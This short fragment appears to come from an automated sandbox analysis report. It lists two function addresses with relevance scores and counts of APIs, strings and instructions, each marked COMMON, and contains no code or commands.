Function 00EA51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00E91220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON